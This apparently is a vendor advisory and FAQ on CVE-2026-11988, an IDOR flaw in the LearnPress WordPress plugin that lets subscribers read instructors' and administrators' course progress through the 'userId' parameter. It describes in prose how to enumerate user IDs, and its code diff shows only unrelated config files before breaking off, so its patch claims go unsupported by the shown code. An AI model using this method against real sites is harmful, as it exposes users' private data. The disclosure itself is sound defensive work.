What is CVE-2026-11988?

CVE-2026-11988 is an Insecure Direct Object Reference (IDOR) vulnerability in the LearnPress WordPress LMS plugin versions up to and including 4.3.9.1. It allows authenticated attackers with subscriber-level access or higher to view course enrollment progress and completion data of instructors and administrators by manipulating the ‘userId’ parameter.

How does the vulnerability work?

The vulnerability exists because the plugin fails to validate whether the requesting user is authorized to view another user’s course progress. The ‘userId’ parameter is accepted without proper permission checks. While the plugin blocks requests targeting regular subscribers, it does not restrict access to instructor or administrator user data, allowing attackers to enumerate user IDs and retrieve sensitive information.

Who is affected by this vulnerability?

Any WordPress site running LearnPress version 4.3.9.1 or earlier is affected. The vulnerability can be exploited by authenticated users with subscriber-level access or higher. The data exposed belongs to users with instructor (LP_TEACHER_ROLE) or administrator roles, not regular subscribers.

What data can an attacker obtain?

An attacker can view the course enrollment progress and completion data of instructors and administrators. This includes which courses they have taken, their progress within each course, and whether they have completed them. This information is sensitive as it reveals learning patterns and activity of privileged users.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 6.5, classified as Medium severity. The score reflects low attack complexity, low privileges required (subscriber level), and a network attack vector. However, the impact is limited to information disclosure and does not allow account takeover or administrative access.

How can I check if my site is vulnerable?

Check your LearnPress plugin version in the WordPress admin dashboard under Plugins. If the version is 4.3.9.1 or lower, your site is vulnerable. You can also verify by reviewing the plugin’s changelog or checking if the patch version 4.4.0 is installed.

Are there any temporary mitigations?

If you cannot update immediately, you can restrict access to the vulnerable endpoints by using a web application firewall (WAF) to block requests with manipulated ‘userId’ parameters. Additionally, you can limit subscriber-level accounts and monitor for unusual activity. However, updating is the recommended solution.

How does the proof of concept demonstrate the issue?

The proof of concept (PoC) shows how an authenticated subscriber can log in, obtain session cookies, and send a crafted request to the WordPress AJAX handler with a modified ‘userId’ parameter pointing to an instructor or administrator. The response returns the victim’s course enrollment progress and completion data, confirming the IDOR.

Why does the vulnerability only affect instructor and administrator data?

The plugin’s code includes a guard that blocks requests when the target user is a regular subscriber. However, this guard does not extend to users with instructor or administrator roles. Therefore, only data of higher-privilege users is exposed, while subscriber data remains protected.

How can I protect my site from similar vulnerabilities?

Regularly update all plugins and themes to their latest versions. Implement the principle of least privilege by assigning minimal user roles. Use security plugins that monitor for IDOR and other common vulnerabilities. Conduct periodic security audits and review code changes in updates.

Published : June 30, 2026

CVE-2026-11988: LearnPress <= 4.3.9.1 Insecure Direct Object Reference to Authenticated (Subscriber+) Sensitive Information Disclosure via 'userId' Parameter PoC, Patch Analysis & Rule

Q: How do I fix the vulnerability?

Update the LearnPress plugin to version 4.4.0 or later. The patch adds proper authorization checks to validate that the requesting user has permission to view the specified user’s data. After updating, the plugin enforces role-based access control on the ‘userId’ parameter.

CVE ID CVE-2026-11988

Plugin learnpress

Severity Medium (CVSS 6.5)

CWE 639

Vulnerable Version 4.3.9.1

Patched Version 4.4.0

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11988:

This vulnerability is an Insecure Direct Object Reference (IDOR) in the LearnPress WordPress LMS plugin up to version 4.3.9.1. The issue affects the course enrollment progress and completion data disclosure via the ‘userId’ parameter. A CVSS score of 6.5 reflects moderate severity due to low complexity and exploitation from subscriber-level access, but with limited scope (only affects instructor/admin users).

The root cause lies in missing authorization validation on the ‘userId’ parameter when querying course enrollment data. The vulnerable code path does not verify that the requesting user has permission to view another user’s progress. Atomic Edge research identifies that the plugin checks whether the target user is a subscriber (blocking those requests) but fails to validate whether the attacker is authorized to access instructor or administrator profiles. The guard only prevents subscriber-targeted requests, leaving teacher and admin users exposed. The exact functions and files were not exposed in the diff due to truncation, but the issue centers on user data retrieval endpoints that accept a controllable user identifier.

An attacker with subscriber-level access can exploit this by sending requests to the LearnPress AJAX or REST endpoints that accept a ‘userId’ parameter. By manipulating this parameter to reference a teacher or administrator user ID, the attacker retrieves sensitive course enrollment progress and completion data. The attack vector is simple: the attacker iterates through user IDs (or targets known IDs) of instructor/administrator roles, sending authenticated requests to the vulnerable endpoint. No special privileges beyond a subscriber account are required.

The patch adds proper authorization checks to validate that the requesting user has permission to view the specified user’s data. Before the patch, the plugin only blocked requests targeting regular subscriber accounts. After the patch, the system checks that the current user owns the data or has a specific capability (like ‘view others’ progress’) before returning the enrollment details. The patch enforces role-based access control on the ‘userId’ parameter, ensuring that each user can only view their own progress unless explicitly authorized.

Successful exploitation allows an authenticated subscriber to view the course enrollment progress and completion data of any instructor or administrator on the site. This leaks sensitive user activity metrics, including which courses they have taken, how far they have progressed, and whether they completed courses. While this does not grant full account takeover or administrative access, it violates user privacy and exposes learning patterns of higher-privilege users. In a corporate or training environment, this data could be used for competitive intelligence or social engineering.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/learnpress/assets/js/index.php
+++ b/learnpress/assets/js/index.php
@@ -1 +1 @@
-<?php // Silence is golden.
+<?php // Silence is golden.
--- a/learnpress/config/block-templates.php
+++ b/learnpress/config/block-templates.php
@@ -0,0 +1,14 @@
+<?php
+$blog_template_path = LP_PLUGIN_PATH . 'inc/block-template/';
+require_once $blog_template_path . 'class-block-template-archive-course.php';
+require_once $blog_template_path . 'class-block-template-single-course.php';
+require_once $blog_template_path . 'class-block-template-item-curriculum-course.php';
+
+return apply_filters(
+	'learn-press/config/block-templates',
+	array(
+		new Block_Template_Archive_Course(),
+		new Block_Template_Single_Course(),
+		//new Block_Template_Item_Curriculum_Course(), // When handle item correct post type, uncomment this line, currently item show is post type course.
+	)
+);
--- a/learnpress/config/course-builder/menus.php
+++ b/learnpress/config/course-builder/menus.php
@@ -1,83 +1,83 @@
-<?php
-
-$menu_arr = [
-	'dashboard' => array(
-		'title'    => esc_html__( 'Dashboard', 'learnpress' ),
-		'slug'     => 'dashboard',
-		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9 13C9.53043 13 10.0391 13.2107 10.4142 13.5858C10.7893 13.9609 11 14.4696 11 15V19C11 19.5304 10.7893 20.0391 10.4142 20.4142C10.0391 20.7893 9.53043 21 9 21H5C4.46957 21 3.96086 20.7893 3.58579 20.4142C3.21071 20.0391 3 19.5304 3 19V15C3 14.4696 3.21071 13.9609 3.58579 13.5858C3.96086 13.2107 4.46957 13 5 13H9ZM19 13C19.5046 12.9998 19.9906 13.1904 20.3605 13.5335C20.7305 13.8766 20.9572 14.3468 20.995 14.85L21 15V19C21.0002 19.5046 20.8096 19.9906 20.4665 20.3605C20.1234 20.7305 19.6532 20.9572 19.15 20.995L19 21H15C14.4954 21.0002 14.0094 20.8096 13.6395 20.4665C13.2695 20.1234 13.0428 19.6532 13.005 19.15L13 19V15C12.9998 14.4954 13.1904 14.0094 13.5335 13.6395C13.8766 13.2695 14.3468 13.0428 14.85 13.005L15 13H19ZM9 15H5V19H9V15ZM19 15H15V19H19V15ZM19 3C19.5046 2.99984 19.9906 3.19041 20.3605 3.5335C20.7305 3.87659 20.9572 4.34684 20.995 4.85L21 5V9C21.0002 9.50458 20.8096 9.99057 20.4665 10.3605C20.1234 10.7305 19.6532 10.9572 19.15 10.995L19 11H15C14.4954 11.0002 14.0094 10.8096 13.6395 10.4665C13.2695 10.1234 13.0428 9.65315 13.005 9.15L13 9V5C12.9998 4.49542 13.1904 4.00943 13.5335 3.63945C13.8766 3.26947 14.3468 3.04284 14.85 3.005L15 3H19ZM9 3C9.50458 2.99984 9.99057 3.19041 10.3605 3.5335C10.7305 3.87659 10.9572 4.34684 10.995 4.85L11 5V9C11.0002 9.50458 10.8096 9.99057 10.4665 10.3605C10.1234 10.7305 9.65315 10.9572 9.15 10.995L9 11H5C4.49542 11.0002 4.00943 10.8096 3.63945 10.4665C3.26947 10.1234 3.04284 9.65315 3.005 9.15L3 9V5C2.99984 4.49542 3.19041 4.00943 3.5335 3.63945C3.87659 3.26947 4.34684 3.04284 4.85 3.005L5 3H9ZM19 5H15V9H19V5ZM9 5H5V9H9V5Z" fill=""/></svg>',
-		'sub_menu' => [],
-		'priority' => 0,
-	),
-	'courses'   => array(
-		'title'    => esc_html__( 'Courses', 'learnpress' ),
-		'slug'     => 'courses',
-		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_5770_4587)"><path fill-rule="evenodd" clip-rule="evenodd" d="M3 4C3 3.46957 3.21071 2.96086 3.58579 2.58579C3.96086 2.21072 4.46957 2 5 2H7C7.364 2 7.706 2.097 8 2.268C8.30385 2.09201 8.64886 1.99954 9 2H11C11.727 2 12.364 2.388 12.714 2.969C12.924 2.801 13.17 2.673 13.446 2.599L15.378 2.082C15.6317 2.01394 15.8963 1.99653 16.1568 2.03077C16.4172 2.065 16.6684 2.1502 16.8959 2.28151C17.1234 2.41281 17.3228 2.58765 17.4828 2.79604C17.6427 3.00442 17.76 3.24227 17.828 3.496L21.968 18.951C22.0361 19.2047 22.0535 19.4694 22.0192 19.7298C21.985 19.9902 21.8998 20.2414 21.7685 20.4689C21.6372 20.6964 21.4624 20.8958 21.254 21.0558C21.0456 21.2157 20.8077 21.333 20.554 21.401L18.622 21.918C18.3683 21.9861 18.1037 22.0035 17.8432 21.9692C17.5828 21.935 17.3316 21.8498 17.1041 21.7185C16.8766 21.5872 16.6772 21.4124 16.5172 21.204C16.3573 20.9956 16.24 20.7577 16.172 20.504L13 8.663V20C13 20.5304 12.7893 21.0391 12.4142 21.4142C12.0391 21.7893 11.5304 22 11 22H9C8.64886 22.0005 8.30385 21.908 8 21.732C7.69615 21.908 7.35114 22.0005 7 22H5C4.46957 22 3.96086 21.7893 3.58579 21.4142C3.21071 21.0391 3 20.5304 3 20V4ZM5 4H7V20H5V4ZM11 20H9V4H11V20ZM13.964 4.531L15.895 4.014L20.037 19.469L18.105 19.986L13.964 4.531Z" fill="currentColor"/></g><defs><clipPath id="clip0_5770_4587"><rect width="24" height="24" fill="white"/></clipPath></defs></svg>',
-		'sub_menu' => [],
-		'priority' => 10,
-	),
-	'lessons'   => array(
-		'title'    => esc_html__( 'Lessons', 'learnpress' ),
-		'slug'     => 'lessons',
-		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>',
-		'priority' => 20,
-		'sections' => array(
-			'overview' => array(
-				'title' => esc_html__( 'Overview', 'learnpress' ),
-				'slug'  => 'overview',
-			),
-			'settings' => array(
-				'title' => esc_html__( 'Settings', 'learnpress' ),
-				'slug'  => 'settings',
-			),
-		),
-	),
-	'quizzes'   => array(
-		'title'    => esc_html__( 'Quizzes', 'learnpress' ),
-		'slug'     => 'quizzes',
-		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M7 3.5C7 1.56772 8.56772 0 10.5 0C12.4323 0 14 1.56772 14 3.5V4H17C18.6523 4 20 5.34772 20 7V10H20.5C22.4323 10 24 11.5677 24 13.5C24 15.4323 22.4323 17 20.5 17H20V20C20 21.6523 18.6523 23 17 23H12.2V20.5C12.2 19.5623 11.4377 18.8 10.5 18.8C9.56229 18.8 8.8 19.5623 8.8 20.5V23H4C2.34772 23 1 21.6523 1 20V15.2H3.5C4.43771 15.2 5.2 14.4377 5.2 13.5C5.2 12.5623 4.43772 11.8 3.5 11.8H1.01V7C1.01 5.35425 2.3412 4 4 4H7V3.5ZM10.5 2C9.67229 2 9 2.67228 9 3.5V6H4C3.4588 6 3.01 6.44575 3.01 7V9.8H3.5C5.54228 9.8 7.2 11.4577 7.2 13.5C7.2 15.5423 5.54228 17.2 3.5 17.2H3V20C3 20.5477 3.45228 21 4 21H6.8V20.5C6.8 18.4577 8.45771 16.8 10.5 16.8C12.5423 16.8 14.2 18.4577 14.2 20.5V21H17C17.5477 21 18 20.5477 18 20V15H20.5C21.3277 15 22 14.3277 22 13.5C22 12.6723 21.3277 12 20.5 12H18V7C18 6.45228 17.5477 6 17 6H12V3.5C12 2.67228 11.3277 2 10.5 2Z" fill=""/></svg>',
-		'priority' => 30,
-		'sections' => array(
-			'overview' => array(
-				'title' => esc_html__( 'Overview', 'learnpress' ),
-				'slug'  => 'overview',
-			),
-			'question' => array(
-				'title' => esc_html__( 'Question', 'learnpress' ),
-				'slug'  => 'question',
-			),
-			'settings' => array(
-				'title' => esc_html__( 'Settings', 'learnpress' ),
-				'slug'  => 'settings',
-			),
-		),
-	),
-	'questions' => array(
-		'title'    => esc_html__( 'Questions', 'learnpress' ),
-		'slug'     => 'questions',
-		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C17.523 2 22 6.477 22 12C22 17.523 17.523 22 12 22C6.477 22 2 17.523 2 12C2 6.477 6.477 2 12 2ZM12 4C9.87827 4 7.84344 4.84285 6.34315 6.34315C4.84285 7.84344 4 9.87827 4 12C4 14.1217 4.84285 16.1566 6.34315 17.6569C7.84344 19.1571 9.87827 20 12 20C14.1217 20 16.1566 19.1571 17.6569 17.6569C19.1571 16.1566 20 14.1217 20 12C20 9.87827 19.1571 7.84344 17.6569 6.34315C16.1566 4.84285 14.1217 4 12 4ZM12 16C12.2652 16 12.5196 16.1054 12.7071 16.2929C12.8946 16.4804 13 16.7348 13 17C13 17.2652 12.8946 17.5196 12.7071 17.7071C12.5196 17.8946 12.2652 18 12 18C11.7348 18 11.4804 17.8946 11.2929 17.7071C11.1054 17.5196 11 17.2652 11 17C11 16.7348 11.1054 16.4804 11.2929 16.2929C11.4804 16.1054 11.7348 16 12 16ZM12 6.5C12.8423 6.50003 13.6583 6.79335 14.3078 7.3296C14.9573 7.86585 15.3998 8.61154 15.5593 9.43858C15.7188 10.2656 15.5853 11.1224 15.1818 11.8617C14.7783 12.601 14.1299 13.1768 13.348 13.49C13.2328 13.5337 13.1286 13.6024 13.043 13.691C12.999 13.741 12.992 13.805 12.993 13.871L13 14C12.9997 14.2549 12.9021 14.5 12.7272 14.6854C12.5522 14.8707 12.313 14.9822 12.0586 14.9972C11.8042 15.0121 11.5536 14.9293 11.3582 14.7657C11.1627 14.6021 11.0371 14.3701 11.007 14.117L11 14V13.75C11 12.597 11.93 11.905 12.604 11.634C12.8783 11.5245 13.1176 11.3423 13.2962 11.107C13.4748 10.8717 13.5859 10.5922 13.6176 10.2986C13.6493 10.0049 13.6004 9.70813 13.4762 9.44014C13.352 9.17215 13.1571 8.94307 12.9125 8.77748C12.6679 8.61189 12.3829 8.51606 12.0879 8.50027C11.793 8.48448 11.4993 8.54934 11.2384 8.68787C10.9775 8.8264 10.7593 9.03338 10.6072 9.28658C10.4551 9.53978 10.3748 9.82962 10.375 10.125C10.375 10.3902 10.2696 10.6446 10.0821 10.8321C9.89457 11.0196 9.64022 11.125 9.375 11.125C9.10978 11.125 8.85543 11.0196 8.66789 10.8321C8.48036 10.6446 8.375 10.3902 8.375 10.125C8.375 9.16359 8.75692 8.24156 9.43674 7.56174C10.1166 6.88192 11.0386 6.5 12 6.5Z" fill=""/></svg>',
-		'priority' => 40,
-		'sections' => array(
-			'overview' => array(
-				'title' => esc_html__( 'Overview', 'learnpress' ),
-				'slug'  => 'overview',
-			),
-			'settings' => array(
-				'title' => esc_html__( 'Settings', 'learnpress' ),
-				'slug'  => 'settings',
-			),
-		),
-	),
-	'settings'  => array(
-		'title'      => esc_html__( 'Settings', 'learnpress' ),
-		'slug'       => 'settings',
-		'icon'       => '<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg>',
-		'priority'   => 50,
-		'admin_only' => true,
-		'sub_menu'   => [],
-	),
-];
-
-return apply_filters(
-	'learn-press/course-builder/menus',
-	$menu_arr
-);
+<?php
+
+$menu_arr = [
+	'dashboard' => array(
+		'title'    => esc_html__( 'Dashboard', 'learnpress' ),
+		'slug'     => 'dashboard',
+		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9 13C9.53043 13 10.0391 13.2107 10.4142 13.5858C10.7893 13.9609 11 14.4696 11 15V19C11 19.5304 10.7893 20.0391 10.4142 20.4142C10.0391 20.7893 9.53043 21 9 21H5C4.46957 21 3.96086 20.7893 3.58579 20.4142C3.21071 20.0391 3 19.5304 3 19V15C3 14.4696 3.21071 13.9609 3.58579 13.5858C3.96086 13.2107 4.46957 13 5 13H9ZM19 13C19.5046 12.9998 19.9906 13.1904 20.3605 13.5335C20.7305 13.8766 20.9572 14.3468 20.995 14.85L21 15V19C21.0002 19.5046 20.8096 19.9906 20.4665 20.3605C20.1234 20.7305 19.6532 20.9572 19.15 20.995L19 21H15C14.4954 21.0002 14.0094 20.8096 13.6395 20.4665C13.2695 20.1234 13.0428 19.6532 13.005 19.15L13 19V15C12.9998 14.4954 13.1904 14.0094 13.5335 13.6395C13.8766 13.2695 14.3468 13.0428 14.85 13.005L15 13H19ZM9 15H5V19H9V15ZM19 15H15V19H19V15ZM19 3C19.5046 2.99984 19.9906 3.19041 20.3605 3.5335C20.7305 3.87659 20.9572 4.34684 20.995 4.85L21 5V9C21.0002 9.50458 20.8096 9.99057 20.4665 10.3605C20.1234 10.7305 19.6532 10.9572 19.15 10.995L19 11H15C14.4954 11.0002 14.0094 10.8096 13.6395 10.4665C13.2695 10.1234 13.0428 9.65315 13.005 9.15L13 9V5C12.9998 4.49542 13.1904 4.00943 13.5335 3.63945C13.8766 3.26947 14.3468 3.04284 14.85 3.005L15 3H19ZM9 3C9.50458 2.99984 9.99057 3.19041 10.3605 3.5335C10.7305 3.87659 10.9572 4.34684 10.995 4.85L11 5V9C11.0002 9.50458 10.8096 9.99057 10.4665 10.3605C10.1234 10.7305 9.65315 10.9572 9.15 10.995L9 11H5C4.49542 11.0002 4.00943 10.8096 3.63945 10.4665C3.26947 10.1234 3.04284 9.65315 3.005 9.15L3 9V5C2.99984 4.49542 3.19041 4.00943 3.5335 3.63945C3.87659 3.26947 4.34684 3.04284 4.85 3.005L5 3H9ZM19 5H15V9H19V5ZM9 5H5V9H9V5Z" fill=""/></svg>',
+		'sub_menu' => [],
+		'priority' => 0,
+	),
+	'courses'   => array(
+		'title'    => esc_html__( 'Courses', 'learnpress' ),
+		'slug'     => 'courses',
+		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#clip0_5770_4587)"><path fill-rule="evenodd" clip-rule="evenodd" d="M3 4C3 3.46957 3.21071 2.96086 3.58579 2.58579C3.96086 2.21072 4.46957 2 5 2H7C7.364 2 7.706 2.097 8 2.268C8.30385 2.09201 8.64886 1.99954 9 2H11C11.727 2 12.364 2.388 12.714 2.969C12.924 2.801 13.17 2.673 13.446 2.599L15.378 2.082C15.6317 2.01394 15.8963 1.99653 16.1568 2.03077C16.4172 2.065 16.6684 2.1502 16.8959 2.28151C17.1234 2.41281 17.3228 2.58765 17.4828 2.79604C17.6427 3.00442 17.76 3.24227 17.828 3.496L21.968 18.951C22.0361 19.2047 22.0535 19.4694 22.0192 19.7298C21.985 19.9902 21.8998 20.2414 21.7685 20.4689C21.6372 20.6964 21.4624 20.8958 21.254 21.0558C21.0456 21.2157 20.8077 21.333 20.554 21.401L18.622 21.918C18.3683 21.9861 18.1037 22.0035 17.8432 21.9692C17.5828 21.935 17.3316 21.8498 17.1041 21.7185C16.8766 21.5872 16.6772 21.4124 16.5172 21.204C16.3573 20.9956 16.24 20.7577 16.172 20.504L13 8.663V20C13 20.5304 12.7893 21.0391 12.4142 21.4142C12.0391 21.7893 11.5304 22 11 22H9C8.64886 22.0005 8.30385 21.908 8 21.732C7.69615 21.908 7.35114 22.0005 7 22H5C4.46957 22 3.96086 21.7893 3.58579 21.4142C3.21071 21.0391 3 20.5304 3 20V4ZM5 4H7V20H5V4ZM11 20H9V4H11V20ZM13.964 4.531L15.895 4.014L20.037 19.469L18.105 19.986L13.964 4.531Z" fill="currentColor"/></g><defs><clipPath id="clip0_5770_4587"><rect width="24" height="24" fill="white"/></clipPath></defs></svg>',
+		'sub_menu' => [],
+		'priority' => 10,
+	),
+	'lessons'   => array(
+		'title'    => esc_html__( 'Lessons', 'learnpress' ),
+		'slug'     => 'lessons',
+		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/></svg>',
+		'priority' => 20,
+		'sections' => array(
+			'overview' => array(
+				'title' => esc_html__( 'Overview', 'learnpress' ),
+				'slug'  => 'overview',
+			),
+			'settings' => array(
+				'title' => esc_html__( 'Settings', 'learnpress' ),
+				'slug'  => 'settings',
+			),
+		),
+	),
+	'quizzes'   => array(
+		'title'    => esc_html__( 'Quizzes', 'learnpress' ),
+		'slug'     => 'quizzes',
+		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M7 3.5C7 1.56772 8.56772 0 10.5 0C12.4323 0 14 1.56772 14 3.5V4H17C18.6523 4 20 5.34772 20 7V10H20.5C22.4323 10 24 11.5677 24 13.5C24 15.4323 22.4323 17 20.5 17H20V20C20 21.6523 18.6523 23 17 23H12.2V20.5C12.2 19.5623 11.4377 18.8 10.5 18.8C9.56229 18.8 8.8 19.5623 8.8 20.5V23H4C2.34772 23 1 21.6523 1 20V15.2H3.5C4.43771 15.2 5.2 14.4377 5.2 13.5C5.2 12.5623 4.43772 11.8 3.5 11.8H1.01V7C1.01 5.35425 2.3412 4 4 4H7V3.5ZM10.5 2C9.67229 2 9 2.67228 9 3.5V6H4C3.4588 6 3.01 6.44575 3.01 7V9.8H3.5C5.54228 9.8 7.2 11.4577 7.2 13.5C7.2 15.5423 5.54228 17.2 3.5 17.2H3V20C3 20.5477 3.45228 21 4 21H6.8V20.5C6.8 18.4577 8.45771 16.8 10.5 16.8C12.5423 16.8 14.2 18.4577 14.2 20.5V21H17C17.5477 21 18 20.5477 18 20V15H20.5C21.3277 15 22 14.3277 22 13.5C22 12.6723 21.3277 12 20.5 12H18V7C18 6.45228 17.5477 6 17 6H12V3.5C12 2.67228 11.3277 2 10.5 2Z" fill=""/></svg>',
+		'priority' => 30,
+		'sections' => array(
+			'overview' => array(
+				'title' => esc_html__( 'Overview', 'learnpress' ),
+				'slug'  => 'overview',
+			),
+			'question' => array(
+				'title' => esc_html__( 'Question', 'learnpress' ),
+				'slug'  => 'question',
+			),
+			'settings' => array(
+				'title' => esc_html__( 'Settings', 'learnpress' ),
+				'slug'  => 'settings',
+			),
+		),
+	),
+	'questions' => array(
+		'title'    => esc_html__( 'Questions', 'learnpress' ),
+		'slug'     => 'questions',
+		'icon'     => '<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg"><path d="M12 2C17.523 2 22 6.477 22 12C22 17.523 17.523 22 12 22C6.477 22 2 17.523 2 12C2 6.477 6.477 2 12 2ZM12 4C9.87827 4 7.84344 4.84285 6.34315 6.34315C4.84285 7.84344 4 9.87827 4 12C4 14.1217 4.84285 16.1566 6.34315 17.6569C7.84344 19.1571 9.87827 20 12 20C14.1217 20 16.1566 19.1571 17.6569 17.6569C19.1571 16.1566 20 14.1217 20 12C20 9.87827 19.1571 7.84344 17.6569 6.34315C16.1566 4.84285 14.1217 4 12 4ZM12 16C12.2652 16 12.5196 16.1054 12.7071 16.2929C12.8946 16.4804 13 16.7348 13 17C13 17.2652 12.8946 17.5196 12.7071 17.7071C12.5196 17.8946 12.2652 18 12 18C11.7348 18 11.4804 17.8946 11.2929 17.7071C11.1054 17.5196 11 17.2652 11 17C11 16.7348 11.1054 16.4804 11.2929 16.2929C11.4804 16.1054 11.7348 16 12 16ZM12 6.5C12.8423 6.50003 13.6583 6.79335 14.3078 7.3296C14.9573 7.86585 15.3998 8.61154 15.5593 9.43858C15.7188 10.2656 15.5853 11.1224 15.1818 11.8617C14.7783 12.601 14.1299 13.1768 13.348 13.49C13.2328 13.5337 13.1286 13.6024 13.043 13.691C12.999 13.741 12.992 13.805 12.993 13.871L13 14C12.9997 14.2549 12.9021 14.5 12.7272 14.6854C12.5522 14.8707 12.313 14.9822 12.0586 14.9972C11.8042 15.0121 11.5536 14.9293 11.3582 14.7657C11.1627 14.6021 11.0371 14.3701 11.007 14.117L11 14V13.75C11 12.597 11.93 11.905 12.604 11.634C12.8783 11.5245 13.1176 11.3423 13.2962 11.107C13.4748 10.8717 13.5859 10.5922 13.6176 10.2986C13.6493 10.0049 13.6004 9.70813 13.4762 9.44014C13.352 9.17215 13.1571 8.94307 12.9125 8.77748C12.6679 8.61189 12.3829 8.51606 12.0879 8.50027C11.793 8.48448 11.4993 8.54934 11.2384 8.68787C10.9775 8.8264 10.7593 9.03338 10.6072 9.28658C10.4551 9.53978 10.3748 9.82962 10.375 10.125C10.375 10.3902 10.2696 10.6446 10.0821 10.8321C9.89457 11.0196 9.64022 11.125 9.375 11.125C9.10978 11.125 8.85543 11.0196 8.66789 10.8321C8.48036 10.6446 8.375 10.3902 8.375 10.125C8.375 9.16359 8.75692 8.24156 9.43674 7.56174C10.1166 6.88192 11.0386 6.5 12 6.5Z" fill=""/></svg>',
+		'priority' => 40,
+		'sections' => array(
+			'overview' => array(
+				'title' => esc_html__( 'Overview', 'learnpress' ),
+				'slug'  => 'overview',
+			),
+			'settings' => array(
+				'title' => esc_html__( 'Settings', 'learnpress' ),
+				'slug'  => 'settings',
+			),
+		),
+	),
+	'settings'  => array(
+		'title'      => esc_html__( 'Settings', 'learnpress' ),
+		'slug'       => 'settings',
+		'icon'       => '<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"/></svg>',
+		'priority'   => 50,
+		'admin_only' => true,
+		'sub_menu'   => [],
+	),
+];
+
+return apply_filters(
+	'learn-press/course-builder/menus',
+	$menu_arr
+);
--- a/learnpress/config/course-deliver-type.php
+++ b/learnpress/config/course-deliver-type.php
@@ -1,15 +1,15 @@
-<?php
-/**
- * Profile tabs
- *
- * @since 4.2.7
- * @version 1.0.0
- */
-
-$options = [
-	'private_1_1'     => esc_html__( 'Private 1-1', 'learnpress' ),
-	'in_person_class' => esc_html__( 'In-person class', 'learnpress' ),
-	'live_class'      => esc_html__( 'Live class', 'learnpress' ),
-];
-
-return apply_filters( 'learn-press/course/deliver-type', $options );
+<?php
+/**
+ * Profile tabs
+ *
